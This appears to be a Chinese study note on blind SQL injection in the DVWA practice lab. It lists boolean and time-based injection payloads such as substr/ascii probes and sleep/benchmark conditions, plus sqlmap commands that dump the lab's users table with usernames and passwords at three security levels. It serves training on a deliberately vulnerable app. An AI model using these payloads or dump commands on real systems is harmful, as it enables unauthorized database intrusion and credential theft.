链接: https://github.com/dhgdhg/DVWA-Note
SQL Injection(Blind)
<summary>预备知识</summary> <details>使用union时只显示第二条数据
- 使union前的语句出错
- limit 1,1
SQL盲注
- sql执行只返回 真 或 假
- 比如
id = 1 and 2=3
- 假
id = '1' and '2'='3'
- 假
id = "1" and "2"="3"
- 假
- 比如
- sql执行只返回 真 或 假
三种注入poc, 验证查询的字段是什么类型的
1 and 2=3--
1' and '2'='3--
1" and "2"="3--
- 其他
- and 1 like 1
函数
- length(str)
- 返回str长度
- 确定字段长度
- 比如数据库名
- 使用二分法不断比对
length(database())>1
, 最后确定数据库名的长度
- left()
- 例:
left('test', 2)
-->'te'
- 例:
- regexp
- 例:
select 'test' regexp '^t'
--> True
- 例:
- substr(), mid()
- 获取子字符串
- 例:
substr('test', 1, 2)='te'
--> True - 例:
mid('test', 1, 2)='te'
--> True
- like
- 例:
select 'test' like 'te'
--> True
- 例:
- ascii(str), ord(str)
- 返回str第一个字符的ascii
- 0 =< ascii码 =< 127
- a: 97
- z: 122
- 0: 48
- 9: 57
- _: 95
- 结合substr就emm, 结合二分法, 例:
ascii( substr('test', 1, 1) ) > 64
ascii( substr(database(), 1, 1) ) > 64
ord( substr('test', 1, 1) ) > 64
ord ( substr(database(), 1, 1) ) > 64
- length(str)
延时注入
- sleep(num)
- 睡多久
- benchmark()
- 指定函数执行多少次, 从而延长时间, 但是不要太大, 服务器他, 可能扛不住
- 例:
benchmark(5000000, md5('emmm'))
- if()
- 例:
if(x , y, z)
, 等价于if x: return y else: return z
- 结合sleep
sleep(if(1, 5, 0))
sleep(if(length(database())>3, 5, 0))
- 结合benchmark
benchmark(if(1, 5000000, 0), md5('emmm'))
benchmark(if(length(database()), 5000000, 0), md5('emmm'))
- 例:
- sleep(num)
可通过burpsuit的intruder模块进行自动破解
low
- 试试呗
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=itssoqv8p390d2re8shu6b8lo4"
- ...
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users -C user,password --dump
medium
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users -C user,password --dump
- 毫无新意
high
- 这个有新意,post url变了,cookie也变了, 发post请求也搞不动了
- 我太难了, 老铁最近我压力很大
- 既然id在cookie里面了试试
--level 2
python sqlmap.py -u "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --second-url "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" -p "id" --cookie "id=1;security=high; PHPSESSID=itssoqv8p390d2re8shu6b8lo4" -D dvwa -T users -C user,password --dump --level 2 --threads 10
, 算球- 也就那样吧, 哈哈哈哈哈哈哈哈哈哈哈
- 一口气写这么多参数,这谁扛得住, 根!本!扛!不!住! 试试butpsuit 捕获请求直接发包
python sqlmap.py -r r.txt --second-url "http://192.168.119.131/DVWA/vulnerabilities/sqli_blind/" -p "id" -D dvwa -T users -C user,password --dump --threads 10
- 不过结果并不准确, 难受